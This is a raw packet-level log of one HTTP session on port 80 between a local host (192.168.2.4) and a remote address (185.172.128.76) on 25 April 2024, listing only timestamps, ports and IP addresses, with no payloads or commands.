Apr 25, 2024 14:42:09.619786024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619797945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619826078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619833946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619864941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619877100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619904995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619913101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619940996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619955063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619977951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619991064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620017052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620027065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620055914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620074034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620090961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620110989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620143890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620145082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620182991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620193005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620222092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620233059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620260000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620271921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620296955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620312929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620337009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620351076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620373011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620388031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620409966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620423079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620448112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620460033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620486975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620496988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620521069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620538950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620559931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620569944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620601892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620618105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620640039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620642900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620673895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620687008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620712042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620723009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620748997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620762110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620785952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620798111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620824099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620836973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620865107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620877028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620917082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620925903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620956898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.620975971 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.620990992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621004105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621028900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621036053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621068001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621079922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621105909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621114969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621139050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621150017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621187925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621217012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621257067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621272087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621304035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621329069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621365070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621380091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621412992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621469021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621506929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621526003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621546030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621552944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621584892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621601105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621624947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621635914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621664047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621675014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621702909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621716022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621738911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621754885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621778011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621787071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621817112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621829033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621855021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621866941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621897936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621908903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621937037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621948004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.621975899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.621993065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.622014999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.622025967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.622050047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.622067928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.622087002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.622100115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.622138023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.622164965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.622203112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.622220993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.622236967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.622250080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.622286081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671117067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671155930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671175957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671195030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671201944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671235085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671236992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671272993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671279907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671312094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671319008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671359062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671389103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671432972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671462059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671499014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671509027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671535015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671545029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671578884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671765089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671802998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671818018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671842098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671845913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671884060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671885967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671924114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671925068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.671962023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.671971083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672002077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672005892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672035933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672049046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672074080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672080994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672118902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672132015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672174931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672180891 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672209978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672215939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672247887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672257900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672286034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672297001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672321081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672332048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672358036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672367096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672395945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672403097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672432899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672442913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672466993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672480106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672503948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672512054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672542095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672553062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672580957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672583103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672617912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672622919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672655106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672662973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672692060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672700882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672727108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672738075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672763109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672770977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672801018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672810078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672837973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672847033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672875881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672883987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672914982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672921896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672954082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.672960043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.672990084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673000097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673027039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673033953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673064947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673070908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673103094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673114061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673137903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673145056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673175097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673177958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673212051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673221111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673249960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673254013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673286915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673291922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673325062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673332930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673377037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673384905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673413992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673422098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673450947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673458099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673487902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673495054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673523903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673532009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673561096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673571110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673599958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673609972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673638105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673643112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673671961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673681021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673707962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673715115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673744917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673752069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673782110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673788071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673819065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673825979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673856020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673861027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673894882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673903942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673932076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673934937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.673966885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.673979044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674004078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674010992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674041986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674047947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674081087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674088955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674113989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674125910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674151897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674158096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674187899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674196959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674226999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674235106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674261093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674274921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674297094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674307108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674334049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674345016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674371958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674376011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674406052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674416065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674443960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674449921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674482107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674489021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674520969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674527884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674561977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674566031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674606085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674609900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674650908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674679995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674714088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674731016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674751043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674752951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674787998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674792051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674825907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674834013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674863100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.674873114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.674905062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.723777056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.723844051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.723880053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.723884106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.723923922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.723963022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.723999977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724036932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724045992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724045992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724045992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724045992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724071980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724072933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724083900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724133015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724143028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724181890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724195957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724220991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724234104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724262953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724275112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724302053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724313974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724342108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724353075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724380970 CEST	80	49731	185.172.128.76	192.168.2.4
